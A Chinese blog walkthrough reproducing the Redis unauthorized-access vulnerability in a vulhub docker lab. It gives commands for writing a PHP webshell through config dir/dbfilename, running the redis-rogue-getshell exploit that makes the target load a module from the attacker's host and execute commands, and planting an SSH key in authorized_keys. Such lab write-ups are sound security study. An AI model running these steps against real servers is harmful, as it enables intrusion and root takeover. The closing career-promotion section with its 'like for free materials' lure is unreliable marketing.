【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

一、漏洞详情

影响版本 Redis 2.x，3.x，4.x，5.x

Redis默认情况下，会绑定在0.0.0.0:6379(在redis3.2之后，redis增加了protected-
mode，在这个模式下，非绑定IP或者没有配置密码访问时都会报错)，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等等，这样将会将Redis服务暴露在公网上，如果在没有设置密码认证(默认为空)的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下，利用Redis自身的提供的config命令，可以进行写文件操作，攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys
文件中，进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网

(2) 没有设置密码认证（默认为空）或者弱密码，可以免密码登录redis服务

二、复现过程

搭建docker环境

docker-compose up -d

![](https://img-
blog.csdnimg.cn/img_convert/ed572c606d834ac4afbf941e67d7f1af.png)

docker-compose ps

也可以看出redis 6379已经启动

![](https://img-
blog.csdnimg.cn/img_convert/ce8eec7322b845f5b489ba6842bcecce.png)

用nmap扫描也可以

nmap -sV 192.168.239.128 -p 1-65535

![](https://img-
blog.csdnimg.cn/img_convert/dac851a7bf6c48d38fa663288ae38ab5.png)

攻击机安装redis-cli远程连接工具

wget http://download.redis.io/redis-
stable.tar.gz

![](https://img-
blog.csdnimg.cn/img_convert/49f9d9c2566042e8aa1049af17aa64ed.png)

tar -zxvf redis-stable.tar.gz
cd redis-stable
make

![](https://img-
blog.csdnimg.cn/img_convert/322af042d79a4125b1de1d6a228373cf.png)

cp src/redis-cli /usr/bin/
redis-cli -h

![](https://img-
blog.csdnimg.cn/img_convert/5141e027345a4af0b0ac2aa1581d41e1.png)

用redis-cli命令远程免密登录redis主机

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

redis-cli -h 192.168.239.128

![](https://img-
blog.csdnimg.cn/img_convert/86dbc12779f34c83be224e0f2c30014a.png)

测试连通性 ping----PONG

![](https://img-
blog.csdnimg.cn/img_convert/c2c79e7abe7e4da3bcc73274f9a86415.png)

写入shell文件

参考：https://blog.youkuaiyun.com/weixin_45605352/article/details/118790775

因为靶场没有开启web端口无法直接上传木马文件，所以用写入shell文件的方式添加后门

将dir设置为一个目录A，而dbfilename为文件名B，再执行save或bgsave，则我们就可以写入一个路径为/A/B的任意文件

在tmp目录下写入一个test.php的木马文件

![](https://img-
blog.csdnimg.cn/img_convert/ed97983747624c73a49910ccf4f9cdfe.png)

写入文件内容时添加几个换行，是因为redis写入文件时会自带一些版本信息，若不换行可能会导致木马无法正常执行

进入靶机查看

docker exec -it 098263dc170f /bin/bash

![](https://img-
blog.csdnimg.cn/img_convert/0e421c7dd19043868b406782f18ac83a.png)

写入shell文件成功

使用py脚本执行远程命令

git clone https://github.com/vulhub/redis-rogue-
getshell.git

![](https://img-
blog.csdnimg.cn/img_convert/de00ec037e62476fbb89469d936df8c7.png)

cd redis-rogue-getshell/RedisModulesSDK/exp
make

![](https://img-
blog.csdnimg.cn/img_convert/d14041c813ba4c338ff1bcb50b5dcbe3.png)

cd …
cd …
回到redis-rogue-getshell目录下

./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f
RedisModulesSDK/exp/exp.so -c “whoami”
(第一个ip是靶机，第二个ip是攻击机)

![](https://img-
blog.csdnimg.cn/img_convert/100998681aa84e0f89e075743e73c9ca.png)

./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f
RedisModulesSDK/exp/exp.so -c “ls”

![](https://img-
blog.csdnimg.cn/img_convert/ec53830da0c24314bcfbb84405632de0.png)

ssh公私钥免密登录

原理：
登陆linux有几种方式，最常用的是密码登陆和RSA key 登陆，RSA
key登陆是生成一个公私对应的秘钥，然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中，我们本地客户端通过导入对应私钥进行登陆，这就是RSA
key的登陆方式。
但是为什么redis可以获取服务器的root权限呢？
上面RSA
key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的，而redis有一种持久化方式是生成RDB文件，通过持久化将公钥写入root下的authored_keys文件里，这样就将非法的公钥写到了验证文件里，后面我们拿对应私钥登陆即可。（但是这种方式需要再redis是root启动的情况下使用，因为非root权限无法进入/root目录）

在攻击机中生成ssh公钥和私钥文件，密码为空

ssh-keygen -t rsa

![](https://img-
blog.csdnimg.cn/img_convert/acfc16d8a8a74d79b5599e9d266f47bd.png)

回车回车回车

进入/root/.ssh目录:
将生成的公钥保存到1.txt：

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt

![](https://img-
blog.csdnimg.cn/img_convert/7eb8f62e53a4409faff9bfb7c7a7fca0.png)

使用redis-cli -h ip命令连接靶机，把1.txt写入redis中（因为在上面已经连接过了）

cat 1.txt | redis-cli -h 192.168.239.128 -x set crack

![](https://img-
blog.csdnimg.cn/img_convert/afe580c70c1f49f396d8c028c9f5f8cf.png)

更改目标服务器Redis备份路径为ssh公钥存放目录（一般默认为/root/.ssh）：

config set dir /root/.ssh

报错了，说没有root权限

(error) ERR Changing directory: Permission denied

可能是vulhub靶场搭建的问题

![](https://img-
blog.csdnimg.cn/img_convert/70004f51c8984ea399d8d1820a5fdeab.png)

在网上没找到解决办法😵

那只能看看别的大佬的复现过程了

![](https://img-
blog.csdnimg.cn/img_convert/fb3ae9a6cf2a41d391fefb29c3796b49.png)

设置上传公钥的备份文件名字为authorized_keys：

CONFIG SET dbfilename authorized_keys

![](https://img-
blog.csdnimg.cn/img_convert/1443d0e5df0d49088cd57116959ef4a5.png)

保存并退出

![](https://img-
blog.csdnimg.cn/img_convert/4dba2cb47c0e409f971b2da163178e68.png)

此时在攻击机上使用SSH免密登录靶机，利用私钥成功登入redis服务器

![](https://img-
blog.csdnimg.cn/img_convert/98741d0bcea947839a432e3ce42407af.png)

三、总结

还有计时反弹shell的方法，具体还是可以看这位大佬的文章：

https://blog.youkuaiyun.com/weixin_45605352/article/details/118790775

第一次看使用公私钥ssh免密登录的过程

还有计时任务反弹的过程

网络安全真是学无止境

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。